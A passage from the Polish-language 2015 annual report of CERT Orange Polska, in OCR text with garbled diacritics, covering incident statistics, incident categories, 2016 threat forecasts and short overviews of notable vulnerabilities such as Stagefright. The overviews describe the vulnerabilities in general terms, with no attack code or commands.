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Koszty internetowych atakow
sa wciaz relatywnie niskie, zyski
do osiagniecia przekraczaja je
dziesiatki lub setki razy, a ryzyko
poniesienia konsekwencji
prawnych — przynajmniej

w Polsce - jest wcigz
stosunkowo niewielkie.

1. Raport CERT Orange Polska
— nauka nie idzie w las

Zainteresowanie pierwsza edycja Raportu CERT Orange Polska oraz pozytywne opinie rynku na jej temat utwierdzi-
ty nas w przekonaniu, ze kolejna tego typu publikacja jest potrzebna.

Do zdobywanych przez nas nieprzerwanie doswiadczenia i wiedzy plynacych z sieci doszly znacznie bardziej roz-
budowane urzadzenia ,,wabiace” cyberprzestepcow. Pozwolito to CERT Orange Polska na wyrazne powigkszenie
bazy statystyk ztosliwych zachowan w naszej sieci - a to juz bezposrednio przekiada sie na bezpieczenstwo jej
uzytkownikéw zaréwno prywatnych, jak i instytucjonalnych.

Jak nalezalo sie spodziewaé, liczba zagrozen od ubiegtego roku nie zmalata — zmienit sie co najwyzej ich profil.
Cyberprzestrzen to wciaz zbyt takomy kasek dla wszelkiego rodzaju czarnych charakteréw. Koszty internetowych
atakow sa wciaz relatywnie niskie, zyski do osiagnigcia przekraczaja je dziesiatki lub setki razy, a ryzyko poniesienia
konsekwencji prawnych - przynajmniej w Polsce - jest wciaz stosunkowo niewielkie. Jesli jeszcze potozymy nacisk
na fakt, ze sie¢ staje sie dla nas jednym z gtéwnych miejsc, w ktorych wydajemy pieniadze i dzielimy sie naszymi
wrazliwymi danymi, to nic dziwnego, ze zdaniem wielu bezpieczenstwo jest priorytetowym aspektem korzystania
z internetu.

W tym roku minie 19 lat od powstania TP Abuse, prekursora dzisiejszej jednostki CERT Orange Polska, liczacej
ponad 80 oséb, z Security Operations Center (SOC) pracujacym w trybie 24/7/365. Mozna wiec powiedzieé, ze - nie-
jako dla uczczenia tej rocznicy - CERT Orange Polska finalizuje proces certyfikacji w ramach inicjatywy Terena-Tru-
sted Introducer, po ktérego zakonczeniu bedziemy miec¢ jedyna krajowa jednostke CERT na tym poziomie. To tylko
jeden z dowoddéw na nieprzerwany rozwdj i inwestycje Orange Polska w dziedzinie cyberbezpieczenstwa. Jako
jedyny wsrod polskich telekoméw zdecydowaliSmy sie na publikacje raportu podsumowujacego prace naszego
CERT, przetarliSmy tez sciezke innowacji, wprowadzajac CyberTarcze - rozszerzenie mozliwosci sieci Orange Pol-
ska bedace bezposrednim efektem opisywanego w poprzednim raporcie ataku na modemy klientow stacjonarnych
ustug szerokopasmowego dostepu do internetu.

Czy tego chcemy, czy nie - znaczna czes$¢é naszego zycia prywatnego i biznesowego dzieje sie w sieci i tam tez cza-
ja sie na nas przestepcy. Jezeli raport CERT Orange Polska pomoze menedzerom, ale takze zwyktym internautom
W zrozumieniu zagrozen zwigzanych z siecia i pozwoli unikng¢ sytuacji, w ktorych mogliby pas¢ ich ofiara, bedzie
to dla nas ogromna wartosé.

Zycze mitej i interesujacej lektury!

Piotr Muszynski
Wiceprezes Zarzadu ds. Operacyjnych
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Czy tego chcemy, czy nie - ,,cyfrowos$¢” stala sie centrum naszego swiata, co wida¢ po roli, jaka odgrywa zaréwno
w naszym codziennym zyciu, jak i w biznesie. Tym samym nie mozemy poprzestaé¢ na ochronie zasobéw bedacej
w zakresie zadan menedzera odpowiedzialnego za bezpieczernstwo IT czy tez prac jednostki HR rozwijajacych pra-
cownikéw w kierunku rozwigzan cyfrowych.

W kwestii cyberbezpieczenstwa biznesu kilka elementoéw jest kluczowych, a mianowicie:

- sposoby postepowania z danymi w firmie, pod katem wymagan dotyczacych ich przechowywania, ochrony oraz
monetyzacji;

- spojrzenie uzytkownika: czy to pracownik, klient, czy partner, kazdy uzytkownik gra kluczowa role we wdrazaniu
cyfrowego podejscia, stojac na pierwszej linii zaré6wno w kwestii ryzyk, jak i roli w chronieniu zasobéw firmy;

- permanentne cyberataki - od cyfrowej wojny, poprzez terroryzm i haktywizm, skonczywszy zas na swietnie prospe-
rujacej pospolitej cyberprzestepczosci: to coraz bardziej wptywa na dziatanie codziennych operaciji biznesowych.

W opinii Grupy Orange wiasna jednostka CERT jest istotnym elementem globalnej polityki bezpieczenstwa. Sta-
nowi to gwarancje dojrzatosci naszych wewnetrznych proceséw zwiazanych ze zbieraniem danych, dotyczacych
sieciowych zagrozen, ich analizy i dalszej dystrybucji informacji. Tego typu jednostka z jednej strony pozostaje do
dyspozycji firmy, z drugiej zas jej mozliwosci pozwalaja takze na oferowanie ustug komercyjnych. Efekt takiego
dziatania to dzielenie sie wyjatkowymi i rzadkimi kompetencjami, ale tez wzrost doswiadczenia oraz generowanie
zyskow dla Orange.

Jean-Luc Moliner
Dyrektor Bezpieczenstwa Grupy Orange

Czy tego chcemy, czy nie
»cyfrowosc” stala sie centrum
naszego swiata, co widac po
roli, jaka odgrywa zarowno

w naszym codziennym zZyciu,
jak i w biznesie.



Wzrosta liczba obstugiwanych
miesiecznie incydentow.
Sytuacja zmienita sie dos¢
znaczaco, byto ich niemal

1700 miesiecznie. 37,4% z nich
to rozpowszechnianie
obrazliwych i nielegalnych tresci.

2. Podsumowanie informaciji
zawartych w raporcie

Gdyby podsumowac¢ krétko 2015 rok pod wzgledem
bezpieczenstwa sieci Orange Polska, nalezatoby po-
wiedzieé: jest trudniej. Wzrosta liczba obstugiwanych
miesigcznie incydentow. Sytuacja zmienita si¢ dos¢ zna-
czaco, byto ich niemal 1700 miesiecznie. 37,4% z nich
to rozpowszechnianie obrazliwych i nielegalnych tresci.

Tym razem przestepcy nie byli tak kreatywni jak w lutym
2014 roku, gdy zaatakowali ponad 100 tysiecy podat-
nych modemoéw DSL, takze dlatego, ze jednym z celéw
Orange Polska i naszej jednostki CERT byito uprzedza-
nie ich atakéw oraz btyskawiczna reakcja na aktyw-
nos$¢ cyberprzestepcow. Wazny udziat w tym mialo
istotne przedsiewziecie Orange Polska w kategorii bez-
pieczenstwa IT dla indywidualnych internautéw, czyli
opisana doktadniej w dalszej czesci raportu CyberTar-
cza. To dzigki niej mozemy zatrzymywacé potencjalnie
ryzykowne infekcje w zarodku, mozliwie najwczesniej
informujac zarazonych o ryzyku i pomagajac im usunaé
zagrozenie, zanim rozprzestrzeni si¢ po sieci.

Liczba alertéw o ruchu noszacym znamiona ataku wy-
generowanych przez systemy ochrony w sieci Orange
spadfa do niecalych 70 tysiecy (z ponad 100 tysiecy
w 2014 roku). Réznica jednak w znacznej czesci bierze
sie ze zmiany sposobu obstugi tego typu incydentow
- teraz w jednym alercie sa oznaczane rézne typy ata-
ku, zas jednego ataku moze tez dotyczy¢ kilka alertéow.
Dodatkowo progi alarmowe dla potencjalnych atakéw
DDoS sa ustawione na relatywnie wysokim poziomie.
Tak wiec mimo teoretycznej zmiany, na co wskazywa-
tyby liczby, czestos¢ wystepowania atakéw na prze-
strzeni ostatnich lat nie maleje. W poréwnaniu z po-
przednia edycja Raportu nie zmienit sie tez najczesciej
wystepujacy typ ataku - ataki Reflected DDoS.

Zmiany bedace efektem uruchomienia CyberTarczy wi-
daé tez podczas analizy aktywnosci ztosliwego opro-
gramowania w sieci Orange Polska. O ile wczesniej
w przypadku ruchu zwigzanego z malware dominowaty
zdarzenia Infection Match (infekcje w czasie rzeczy-
wistym), w pdézniejszym okresie ustapily one miejsca
Malware Callback, czyli probom odwotania przez zain-
stalowane juz na komputerze ofiary ztosliwe oprogra-
mowanie. Ciekawsze przypadki malware eksperci CERT
Orange Polska poddali doktadnej analizie opisanej w za-
tacznikach zamieszczonych w koincowej czesci raportu.

Wsréd najczesciej atakowanych przez cyberprzestep-
coéw ustug serwery WWW oraz web proxy (port 8080)
ustapity miejsca portowi 1443 (MS SQL Server) odpo-
wiadajacemu za potaczenia do baz danych opartych
na SQL. Najpopularniejsza podatnos¢ stwierdzona
przez CERT Orange Polska to wciaz (18% przypadkow)
Directory Listing, pozwalajaca atakujacemu na podej-
rzenie zawartosci katalogéw na serwerze — w tym m.in.
pliku /etc/passwd/. Warto tez zaznaczy¢, ze przy pré-
bach atakéw na otwarte ustugi automaty az w dwéch
przypadkach na dziesie¢ uzywaty loginu ,root” i hasta
,»123456”. Biorac pod uwage, ze cyberprzestepcy sa na
biezaco z trendami w tej dziedzinie, mozna zatozy¢, ze
wciaz sa to jedne z popularniejszych poswiadczen!

2015 rok z punktu widzenia CERT Orange Polska przez
wiekszos¢ czasu stat pod znakiem wzmozonych ata-
kéw przy uzyciu maili phishingowych udajacych faktu-
ry, coraz czesciej mozna sie tez byto spotkac z atakami

wykorzystujacymi coraz popularniejsze ws$réd cyber-
przestepcow podatnosci systemu Android.

Prognozy cyberzagrozen na 2016 rok

W opinii ekspertéw CERT Orange Polska w 2016 roku
w obszarze zagrozen dla bezpieczenstwa w sieci Inter-
net mozemy spodziewac sie m.in.:

= Masowych atakéw phishingowych oraz spamowych
Cyberprzestepcy nie dadza nam zapomnieé o phishin-
gu, moze z ta réznica, ze z kazda kampania bedzie
coraz bardziej przypominat on prawdziwe maile. Nie
spadnie tez liczba atakéw przy uzyciu podstawionych
stron WWW (réwniez serwowanych przy uzyciu pod-
mienionych serweréw DNS), ktérych celem bedzie
przekonanie nas do wpisania danych wrazliwych na wi-
trynie tudzaco przypominajacej oryginat i blyskawiczne
wykorzystanie naszej niefrasobliwosci.

m Utrzymania trendu czestego wystepowania atakow
DDoS o coraz wigkszej sile

Nadal nalezy spodziewac sie czestych i o coraz wiek-
szej sile atakow DDoS, m.in. z powodu tatwosci ich
przeprowadzenia oraz korzysci, jakie osiagaja ataku-
jacy. Ze wzgledu na wciaz liczne wystepowanie w sieci
podatnych urzadzen na ataki wzmocnionego odbicia,
nalezy sie spodziewaé, ze w roku 2016 ta technika be-
dzie czesto wykorzystywana w atakach DDoS.

m Wzrostu liczby atakéw zwiazanych z ,Internetem
Rzeczy” (Internet of Things - 10T)

Nie zapominajmy o rosnacej liczbie urzadzen podia-
czanych do sieci. Kazde takie urzadzenie to potencijal-
na ofiara ataku, tym bardziej ze mozna odnies¢ wraze-
nie, iz przy ich projektowaniu kwestie bezpieczenstwa
rozwazano na koncu. Jesli nawet lodéwce, pralce czy
inteligentnej zaréwce nie da sie zrobi¢ wielkiej krzyw-
dy, to zawsze moga stuzy¢ jako urzadzenia ,zombie”,
wzmachiajace site ataku botnetu.

m Utrzymania trendu rosnacego atakoéw na urzadzenia
mobilne

Powszechne wykorzystanie urzadzen mobilnych (np.
tabletéw, smartfonéw) spowoduje wigksza liczbe za-
rejestrowanych atakéw zwigzanych z uzytkowaniem
urzadzen przenosnych (w tym m.in. wzrostu skierowa-
nego na nie ztosliwego oprogramowania).

= Spektakularnych atakéw ukierunkowanych na orga-

nizacje i organy administracji publicznej
Bedziemy mie¢ do czynienia z atakami ukierunkowany-
mi na duze organizacje i organy administracji publicz-
nej, gdzie poza kradzieza danych znacznie bardziej
optacalna moga sie okazaé destabilizacja elementow
infrastruktury krytycznej czy tez manipulacja rynkami
w celu osiagniecia korzysci finansowych w sposéb po-
Sredni badz zachwianie stabilnoscia systeméw banko-
wych.

= Wymuszen online z uzyciem ziosliwego oprogramo-
wania typu ransomware

Wiele mozna zarobié, atakujac gremialnie uzytkow-

nikéw, ktorzy pozwola na zainstalowanie na swoich

urzadzeniach oprogramowania ransomware. Efektem




tych coraz popularniejszych atakéw jest zaszyfrowa-
nie danych na komputerze ofiary i przestanie klucza
deszyfrujacego po zaptacie wysokiej (rzedu kilkuset
lub wiecej euro) kwoty. Stosowane przez przestepcow
algorytmy szyfrujace sprawiaja, iz jedyna mozliwoscia
odzyskania danych jest zaptacenie okupu.

Atakow wielowektorowych

Cyberprzestepcy w znaczacej czesci skoncentruja sie
na kolejnych wektorach ataku na sieci firmowe. W tym
celu beda wykorzystywaé prywatne profile pracowni-
kéw na portalach spotecznosciowych, stabos¢ zabez-
pieczen domowych komputeréw, z ktorych ci facza sie
z firmowa siecia, stosowac coraz bardziej wyrafinowa-

ne formy oprogramowania szpiegujacego. Beda takze
poszukiwaé luk nie tylko w oprogramowaniu, ale réow-
niez w sprzecie (w tym w domowych routerach, z kté6-
rych czes¢ jest domysinie dostepna z internetu, a zwy-
kly uzytkownik zazwyczaj nie zmienia domysinych
haset dostepu). Cho¢ nasze dane wciaz sa w cenie na
czarnym rynku, a skradzione pieniadze mozna blyska-
wicznie ,,wyprac”, przestepcy nie beda sie ograniczaé
do tych dwéch aspektow.

W tle tego wszystkiego w sieci, bez naszej wiedzy, coraz
czesciej beda przeprowadzane operacje stuzb specjal-
nych, juz od wielu lat Swiadomych, ze przestrzenia no-
wej wojny bedzie - a czesto juz jest - cyberprzestrzen.
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W 2006 roku - jako trzecia
jednostka w Polsce

| obecnie jedyny operator
telekomunikacyjny

— otrzymalismy prawo

do uzywania nazwy CERT®

Raport przygotowany przez CERT Orange Polska

Kontakt z CERT Orange Polska

3. CERT Orange Polska -

Orange Polska (dawniej Telekomunikacja Polska SA)
przykiada duza wage do bezpieczenstwa teleinfor-
matycznego juz od 1997 roku, gdy w strukturze firmy
powstata pierwsza odpowiedzialna wytacznie za ten
aspekt jednostka. W 2006 roku - jako trzecia jednostka
w Polsce i obecnie jedyny operator telekomunikacyj-
ny - otrzymaliSmy prawo do uzywania nazwy CERT®
(Computer Emergency Response Team). Jest ona
przyznawana przez Carnegie Mellon University (CERT.
org) wylacznie zespotom spetniajacym wysrubowane
wymagania dotyczace obstugi i reagowania na zagro-
Zzenia zwigzane z cyberbezpieczenstwem. Obecnie
jestesmy jedna z dwéch krajowych jednostek CERT
o statusie ,,akredytowany” w organizaciji Trusted Intro-
ducer, trwa procedura zmierzajaca do przyznania nam
statusu ,,certyfikowany” jako pierwszemu i jedynemu
CERT w Polsce. Ewolucje zespotu CERT Orange Pol-
ska przedstawiono na rysunku 1.

Operatorzy CERT Orange Polska (I linia wsparcia)
pracuja w trybie 24/7/365, monitorujac poziom bez-
pieczenstwa uzytkownikow naszej sieci, przyjmujac
zgtoszenia, reagujac na zidentyfikowane incydenty
bezpieczenstwa i podejmujac dziatania minimalizu-
jace zagrozenia. Zespoly analitykow oraz ekspertéw
(It i M linia wsparcia) wspieraja codzienna prace linii
operacyjnej w przypadku wystapienia bardziej ztozo-
nych zdarzen nieujetych w procedurach reagowania
na incydenty standardowe. Sa rowniez odpowiedzial-
ni za przeprowadzanie analiz zagrozen, optymalizacje
procesu obstugi standardowych incydentéw bezpie-
czenstwa oraz rozwoj narzedzi detekcji i minimalizacji
zagrozen. Takie wielopoziomowe podejscie do organi-
zacji zespotu reagowania pozwala na optymalne wy-
korzystanie kompetencji i zasobow technologicznych.
Nasi klienci niejednokrotnie mogli juz sie przekonaé,
ze o kazdej porze dnia i nocy efektywnie dbamy o ich
bezpieczenstwo.

CERT Orange Polska wspodtpracuje na szczeblu ope-
racyjnym z krajowymi i miedzynarodowymi organi-
zacjami skupiajacymi jednostki o podobnym profilu
dziatalnosci. Jest jednym z dwéch krajowych zespotow
akredytowanych w ramach inicjatywy Trusted Introdu-

kim jestesSmy?

cer dziatajacej przy europejskiej organizacji TERENA
TF-CSIRT (zrzeszajacej przeszio 200 jednostek CERT
w Europie). Uczestniczy réwniez w pracach najwiek-
szej organizacji zrzeszajacej sSwiatowe CERT-y - FIRST
(Forum of Incident Response and Security Teams).

Orange Polska jest strategicznym partnerem renomo-
wanych dostawcow rozwigzan bezpieczenstwa, takich
jak McAfee, SourceFire/Cisco czy BlueCoat, i tworzy
z nimi rozwigzania z zakresu cyberbezpieczenstwa
(m.in. zapewniajace ochrone przed atakami na infra-
strukture wiasna i kliencka). Od wielu lat wspétpracu-
jemy takze z innymi czotowymi dostawcami rozwigzan
bezpieczenstwa, takimi jak HP, FireEye, EMC, Check
Point, Sourcefire, Arbor Networks, Radware czy Cross-
beam.

Orange Polska w ramach ustug komercyjnych, m.in.
przy wykorzystaniu kompetencji CERT Orange Polska,
wdrozyt szereg projektéow w Polsce i w Europie, w tym:
DDoS Protection dla kilkudziesieciu klientéw krajo-
wych, giéwnie z branzy finansowej, RiverBed MS (fir-
ma z branzy ubezpieczeniowej), SIEM (duze instytucje
bankowe, content service provider, czolowa krajowa
firma transportowa). Przeprowadzit tez testy i audyty
bezpieczenstwa dla klientéw, rowniez zagranicznych,
z wielu branz.

Na przestrzeni roku od publikacji ostatniego raportu
oferta ustug profesjonalnych z zakresu bezpieczen-
stwa teleinformatycznego Orange Polska znaczaco
sie rozszerzyla, obejmujac coraz wiecej zagadnien
i potencjalnych ryzyk. Ze skroconym katalogiem ustug
mozna si¢ zapoznac¢ w rozdziale 12.

Na witrynie internetowej http://cert.orange.pl/ mozna
przeczyta¢é o aktualnych alertach bezpieczenstwa,
zapoznacsiezinnymiistotnymiinformacjamiztejdziedziny,
atakze zbaza wiedzy i szeregiem poradnikéw. Na witrynie
http://blog.orange.pl  regularnie sa publikowane
informacje dotyczace bezpieczeinstwa IT, giédwnie
budujace swiadomos¢ bezpiecznych zachowan w sieci.

£0ITe,
a2

{7/}

Rysunek 1. Ewolucja zespotu CERT Orange Polska
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Przewidujemy, ze organizacje
beda nieprzerwanie
pracowac¢ nad doskonaleniem
zabezpieczen, wdrazac
najnowsze technologie,
zatrudniac¢ utalentowanych

i doswiadczonych ekspertow,
tworzyc¢ skuteczne procedury
| zZachowywac czujnosc.

4. Najciekawsze podatnosci 2015 roku
na swiecie

W 2015 roku opublikowano informacje o szeregu po-
datnosci. Na czesé z nich warto zwréci¢ szczegdlna
uwage ze wzgledu na ich grozny charakter.

= Grupa podatnosci Stagefright dotyczacych natyw-
nych bibliotek systemu Android to szczegdlnie nie-
bezpieczne zagrozenie. Mimo staran producentéw
zaréowno systemu, jak i pracujacych pod kontrola
szeregu jego wersji w listopadzie 2015 roku podat-
nych bylo ok. 95% z ponad miliarda (!) aktywnych
urzadzen. Co gorsza, przy domysinych ustawieniach
urzadzenia exploit zadziata bez potrzeby interakcji ze
strony uzytkownika — wystarczy jeden MMS.

m Podatnosci platform wirtualizacji, cho¢ nie tak sze-
roko rozpowszechnione jak w przypadku Stagefright,
moga nies¢ ze soba znacznie grozniejsze konse-
kwencje. Co ciekawe, komponentem generujacym
zagrozenie moze byé nawet... kontroler wirtualnej
stacji dyskietek, ktérego odpowiednie wykorzystanie
moze pozwoli¢ atakujacemu choéby na wiamanie na
serwer maszyn wirtualnych i w nastepnym kroku na
dotarcie do danych wszystkich uzytkownikéw ustug
schmurowych” danego dostawcy.

m Podatnosci w odtwarzaczu Flash to nieprzerwane
zrédio pracy dla researcheréw. Flash Player stanowi

bardzo ztozona i rozlegta, a jednoczesnie fatwo do-
stepna dla przestepcy powierzchnie ataku. Opisywana
podatnosé¢ wyréznia mozliwos¢ obejscia mechanizmu
ochronnego systemu Windows pod nazwa ASLR (Ad-
dress Space Layout Randomization, Losowy Rozktad
Przestrzeni Adresowej).

m Dotarcie do potencjalnie ukrytych zakamarkéw sys-
temu moze utatwi¢ nawet biad w... przetwarzaniu
struktury systemowych czcionek podczas tadowania
ich przez jadro Windowsa! Tak dziatat jeden z explo-
itow uzywanych przez wloska firme Hacking Team
dostarczajaca oprogramowanie m.in. dla stuzb spe-
cjalnych i zhackowana w czerwcu 2015 roku.

= Miniony rok to takze pierwszy rok, gdy szerzej mo-
wiono o potencjalnych ryzykach zwigzanych z pod-
taczaniem do sieci samochodoéw osobowych. W tym
przypadku podatnosci nie zostaly jeszcze szeroko
wykorzystane, tym niemniej w zataczniku wspomi-
namy o kolejnych, zakonczonych sukcesem prébach
atakéw wykonanych przez researcheréw.

Zainteresowanych szczegétowa analiza opisanych po-
datnosci zapraszamy do lektury zatacznikéw umiesz-
czonych na korncu raportu.
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W 2015 roku zespot CERT
Orange Polska obstuzyt

w sposob nieautomatyczny

19 427 incydentow
bezpieczenstwa dotyczacych
sytuaciji, gdy adres IP w sieci
Orange Polska byt celem badz
zrodtem ataku.

5. Najwazniejsze zagrozenia w roku 2015 w sieci
Orange Polska

W 2015 roku zespét CERT Orange Polska obstuzyt

w sposob nieautomatyczny 19 427 incydentéw bezpie-

czenstwa dotyczacych sytuacji, gdy adres IP w sieci

Orange Polska byt celem badz zrédiem ataku. Infor-

macje dotyczyly zaréwno sieci korporacyjnych, jak i in-

dywidualnych uzytkownikéw i pochodzily z wewnetrz-

nych systemoéw bezpieczenstwa, takich jak:

= systemy wykrywania wiaman i zapobiegania im (IDS/
IPS),

= analizatory przeptywéw sieciowych (flows) pod ka-
tem atakéw DDoS oraz ztosliwych kodéw,

= putapki sieciowe (honeypot),

m systemy zarzadzania informacja zwiazana z bezpie-
czenstwem i zdarzeniami (SIEM),

= DNS/IP sinkhole,

a takze ze zrédet zewnetrznych, w tym:
m zgloszen od uzytkownikow,

= zgtoszen od firm partnerskich,

= otwartych zrodet informaciji.

W 2015 roku do operatorow SOC i analitykéw CERT
trafiato Srednio ok. 154 tysiecy alarméw (sygnatéw do-
tyczacych podejrzenia wystepowania anomalii/incy-
dentu) miesiecznie, zas obstugiwane przez operatoréw
SOC systemy monitorowania rejestrowaty srednio po-
nad 5,7 miliarda zdarzen miesigecznie (wykres 1). Liczbe
incydentéw obstuzonych przez CERT Orange Polska
w skali miesigca przedstawiono na wykresie 2., szcze-
gotowo opisujac poszczegdlne kategorie (tabela 1.).
Kategorie sa oparte na typie i skutku dziatan narusza-
jacych bezpieczenstwo, zwiazanych z procesem ataku
na system teleinformatyczny i jego wykorzystaniem.

Incydenty bezpieczeristwa dotyczace ustugowych sie-
ci internetowych (zewnetrzne) obstuzone przez zespot
CERT Orange Polska w 2015 roku w podziale na typy

oraz opisy poszczegdlnych kategorii przedstawiono na
wykresie 3.

Srednie miesieczne za rok 2015

Zarejestrowane zdarzenia

154 053

Wykres 1. Liczba zdarzen i incydentéw bezpieczenstwa obstugiwanych przez CERT Orange Polska
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liczba incydentow
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Wykres 2. Liczba incydentéw obstuzonych przez CERT Orange Polska w podziale na miesiace

kategoria incydentu

ObraZliwe i nielegalne tresci
Dostepnosc zasobow

Proby wtaman

Oszustwa sieciowe
Ztosliwe oprogramowanie

Gromadzenie informacji

Poufnosc i integralno$¢ informacji

Wtamania sieciowe

Inny

37,4%

I
udziat procentowy

Wykres 3. Rozkiad procentowy kategorii incydentéw obstuzonych przez CERT Orange Polska

Kategoria incydentu

Obrazliwe i nielegalne tresci

Szkodliwe oprogramowanie

Gromadzenie informacji

Préby wtaman

Wiamania sieciowe

Dostepnosé zasobow

Poufnos¢ i integralnosé
informaciji

Oszustwa sieciowe

Inne

Opis oraz przykiady zdarzen

Rozpowszechnianie niebezpiecznych i zabronionych prawem tresci (pornografia
dziecieca/przemoc, spam itp.) oraz tresci obrazliwych/grézb i innych zwigzanych
z naruszeniem zasad i regut w sieci internet

Rozpowszechnianie ztosliwych programoéw (wirus, robak, kon trojanski, program
szpiegujacy), zwykle powodujacych przeciazenia, destrukcje i destabilizacje syste-
mu lub sieci teleinformatycznych

Podejmowanie dziatarhn majacych na celu uzyskanie informaciji o systemie lub sieci,
zmierzajacych do nieautoryzowanego dostepu (np. skanowanie portéw, inzynieria
spoteczna, podstuch)

Préby uzyskania nieautoryzowanego dostepu do systemu lub sieci (np. wielokrotne
nieuprawnione logowania, préby naruszenia systemu lub zaktécania funkcjonowania
ustug przez wykorzystywanie podatnosci)

Uzyskanie nieautoryzowanego dostepu do systemu lub sieci, tj. wtargniecie, naruszenie
systemu, zwykle poprzez wykorzystanie znanych podatnosci systemu, itp.

Blokowanie dostepnosci zasobéw sieciowych (systemu, danych), zwykle poprzez
wysylanie duzej ilosci danych, ktére skutkuje odmowa $wiadczenia ustug (m.in.
ataki typu DDoS)

Naruszenie poufnosci lub integralnosci danych, najczesciej w efekcie wczesniejsze-
go przejecia systemu lub przechwycenia danych podczas transmisji (np. podstuch/
przechwycenie, zniszczenie lub modyfikacja danych)

Czerpanie korzysci z nieuprawnionego wykorzystania zasoboéw sieciowych (infor-
maciji, systemu) badz ich uzycie niezgodne z przeznaczeniem, np. kradziez tozsamo-
Sci (podszycie sie, w tym phishing), naruszenia praw autorskich (piractwo, plagiat)

Zdarzenia, ktore nie mieszcza sie w wymienionych kategoriach

Tabela 1. Kategorie incydentow
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Powyzsze kategorie wyodrebniono na podstawie ty-
pow i skutkéw naruszajacych bezpieczenstwo dziatan
zwigzanych z procesem ataku na system teleinforma-
tyczny i jego wykorzystaniem. Sg one przydatne gtéw-
nie z punktu dziatann operacyjnych pod katem osig-
gnietego celu. Przy analizowanych incydentach jednak
uzywano zazwyczaj wielu metod i technik prowadza-
cych do osiagniecia okreslonego skutku, giéwnie zain-
stalowania ztosliwego oprogramowania.

Wsrod obstuzonych incydentow najwieksza grupe, po-
dobnie jak w ubiegtych latach, stanowity przypadki do-
tyczace spamu (najczestsze przypadki zdarzen w kate-
gorii ,obrazliwe i nielegalne tresci”’ - 44%) oraz atakéw
DDoS (prawie wszystkie przypadki kategorii ,,dostep-
nos$¢ zasobow” - 29%), a takze préb wtaman (24,5%).
Spam - mimo sporej liczby dostepnych na rynku zapo-
biegajacych mu ustug i narzedzi - wciaz stanowi zna-
czacy problem. Zgtoszenia procesowane przez CERT
Orange Polska dotyczyly zaré6wno rozsytania spamu
przez uzytkownikéw sieci Orange Polska, jak tez otrzy-
mywania przez nich niechcianej poczty elektronicznej.
Wysytanie spamu to gtéwnie efekt nienalezytego za-
bezpieczenia i niepoprawnej konfiguracji komputera
ofiary. Przejmowanie takiego komputera polega za-
zwyczaj na zainstalowaniu w nim ukrytego oprogra-
mowania posiadajacego wiasny ,silnik” SMTP, ktére
przeksztatca go w serwer pocztowy lub tzw. serwer
proxy i pozwala na maskowanie prawdziwego zZrédia
pochodzenia spamu. Efektem sa nadmierne obciaze-
nia nie tylko przejetego komputera, ale réwniez sieci,
w ktorej ten sie znajduje, a takze opdznienia czy nawet
niedostarczenia poczty do wielu odbiorcéw. Wystarczy
znajdowac sie w tej samej sieci co ,bramka spamowa”,
a poza spowolnieniem rzeczywistej predkosci potacze-
nia moze sie to wigza¢ z umieszczeniem adresu IP na
publicznych listach antyspamowych i w efekcie zablo-
kowaniem mozliwosci dostarczenia maili pod wiek-
szo$¢ adresow u duzych dostawcow poczty. Dziatania
CERT Orange Polska w tym kierunku to przede wszyst-
kim poinformowanie uzytkownika o fakcie rozsytania
spamu i sposobach na usuniecie problemu, wsparcie
uzytkownika w usuwaniu adresoéw IP z publicznych list
antyspamowych, a takze wspélpraca z firmami swiad-
czacymi ustugi hostingowe w zakresie blokady serwisu
wysylajacego spam.

Coraz wiecej obstugiwanych zgtoszen dotyczy atakow
DDoS, przede wszystkim ze wzgledu na wciaz duza
podaz rozwigzan umozliwiajgcych ich przeprowadza-
nie. Zrodtem informaciji o atakach sa przede wszystkim
dedykowane systemy monitorowania, takze minimali-
zujace zagrozenia. Cho¢ najbardziej medialne sa ataki
na ustugi bankowosci elektronicznej, w duzej czesci
ofiarami DDoS s3 indywidualni uzytkownicy Neostrady
czy ustugi Internet DSL. Wolumen tych atakéow w wielu
przypadkach mozna liczy¢ w gigabajtach na sekunde
(Gbps), co oznacza, iz podjecie mitygacji przez CERT
Orange Polska bardzo czesto jest warunkiem popraw-
nego funkcjonowania ustug dla pozostatych klientéw
atakowanych weziéw sieciowych. Wiecej o tym zagro-
zeniu w kolejnym rozdziale ,,Ataki DDoS”.

W kategorii ,,proby wiaman” ujeto gtéwnie podejrzenia
préb przetamania zabezpieczen (préby zgadywania ha-
set czy wykorzystania znanych podatnosci) dokonywa-
ne przez uzytkownikow sieci Orange Polska, natomiast
w kategorii ,,gromadzenie informacji” - aktywnosci
zwigzane ze skanowaniem portéw celem sprawdzenia
dostepnosci ustug. W zdecydowanej wiekszosci przy-
padkow przyczyna byta dziatalnos$¢ zitosliwego opro-
gramowania, efekt infekcji stacji roboczych uzytkow-
nikow.

Komputery przejete bez wiedzy i zgody uzytkownika
staja sie narzedziami w rekach przestepcéw. Za po-
Srednictwem ziosliwego oprogramowania przejmuja
oni kontrole nad komputerem ofiary, by nastepnie przy
uzyciu tzw. serweréow C&C (Command & Control) wy-
dawacé mu polecenia. Taki przejety komputer nazywany
jest zombie lub botem, zas sie¢ takich urzadzen to bot-
net. W kategorii ,,ztosliwe oprogramowanie” zostaty za-
warte przypadki infekcji urzadzen uzytkownikow sieci
Orange Polska, zaréwno te podtaczajace komputer do
botnetu, jak i majace na celu dalsze rozpowszechnia-
nie ztosliwego kodu (np. infekcje stron internetowych).
Znaczna liczba prébek ziosliwego oprogramowania
zostata poddana przez CERT Orange Polska szczeg6-
towej analizie prowadzacej do identyfikaciji ztosliwego
oprogramowania i okreslenia skali jego wystepowa-
nia. W kolejnym kroku ograniczana byta mozliwosé
komunikaciji zainfekowanych stacji z serwerami C&C
(np. przy uzyciu sinkhole), a takze informowano za po-
Srednictwem CyberTarczy wiasciciela zainfekowanego
urzadzenia o zagrozeniu oraz sposobach jego ograni-
czenia. Tego typu rozwigzania pozwalaja na szybsze
minimalizowanie ryzyka i efektywniejsze usunigcie zto-
$liwego kodu z komputeréw naszych klientow, a dzieki
temu takze z sieci Orange Polska. Wiecej o ztosliwym
oprogramowaniu i botnetach w rozdziale ,,Malware”.

W kategorii ,oszustwa sieciowe” zostaly zawarte
gtéwnie przypadki podszywania sie pod Orange Pol-
ska i klientow naszych ustug komercyjnych, w tym
phishing. Cho¢ przy analizie iloSciowej moze sie wy-
dawagé, iz sa relatywnie niewielkim zagrozeniem, sta-
nowig jednak coraz powazniejszy problem. W przypad-
ku gdy poufne dane dostana sie w niepowotane rece,
ich wykorzystanie moze oznacza¢ kradziez pieniedzy
z kont bankowych czy utrate dostepu do poczty elek-
tronicznej. CERT Orange Polska przede wszystkim
uniemozliwia potaczenia z wewnatrz wiasnej sieci z wi-
trynami wyludzajacymi informacje, a takze wspéipra-
